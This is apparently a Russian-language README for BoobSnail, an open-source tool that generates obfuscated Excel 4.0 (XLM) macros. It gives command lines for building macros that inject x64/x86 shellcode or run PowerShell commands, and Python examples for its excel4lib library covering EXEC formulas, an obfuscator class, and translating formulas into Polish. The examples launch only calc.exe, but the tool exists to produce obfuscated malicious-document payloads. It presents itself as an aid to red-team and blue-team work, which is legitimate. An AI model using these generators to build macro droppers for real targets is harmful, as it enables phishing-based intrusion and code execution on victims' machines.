
Генерирует обфусцированные макросы Excel 4.0 XLM для операций красной команды и анализа синей команды, с поддержкой множества техник заражения, перевода формул и библиотечных пользовательских генераторов.
Следите за нами в Twitter!
BoobSnail позволяет генерировать макросы XLM (Excel 4.0). Его цель — поддержка RedTeam и BlueTeam в создании макросов XLM. Возможности:
Протестировано на: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
Чтобы отобразить доступные генераторы, введите:
python boobsnail.py
Создание обфусцированного макроса, внедряющего x64 или x86 шеллкод:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
Создание обфусцированного макроса, запускающего calc.exe:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail включает библиотеку excel4lib, которая позволяет создавать собственные генераторы макросов Excel4. excel4lib содержит несколько классов, которые могут быть использованы при написании генератора:
Основная идея этой библиотеки — представлять формулы Excel4, переменные, аргументы формул и значения как объекты Python. Благодаря этому вы можете легко изменять атрибуты инструкций, такие как имена формул или переменных, значения, адреса и т.д.
Например, давайте создадим простой макрос, запускающий calc.exe
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Результат:
cmd="calc.exe";
=EXEC(cmd);
Теперь предположим, что вы хотите обфусцировать ваш макрос. Для этого нужно импортировать обфускатор и передать его в объект Excel4Macro:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
На данный момент excel4lib предоставляет два класса обфускации:
Как видите, вы можете написать свой собственный класс обфускатора и использовать его в Excel4Macro.
Иногда вам может потребоваться перевести макрос на другой язык, например на ваш родной язык, в моем случае это польский. С excel4lib это довольно просто. Вам просто нужно импортировать класс Excel4Translator и вызвать set_language
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
Результат:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
На данный момент поддерживаются только английский и польский языки. Если вы хотите использовать другой язык, вам нужно добавить переводы в каталог excel4lib/lang/langs.
Конечно, вам может понадобиться создать формулу, которая принимает другую формулу в качестве аргумента. Это можно сделать с помощью функции Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
Результат:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
Как видите, строка ".exe" была передана в формулу CONCATENATE как R2C1. R2C1 — это адрес значения ".exe" (строка номер 2 и столбец номер 1). excel4lib возвращает ссылки на формулы и значения как адреса. Ссылки на переменные возвращаются как их имена. Вы, вероятно, заметили, что класс Excel4Macro добавляет формулы, переменные, значения на лист автоматически в том порядке, в котором эти объекты создаются, и что начальный адрес — R1C1. Что если вы хотите разместить формулы в другом столбце или строке? Это можно сделать, вызвав функцию Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
Результат:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;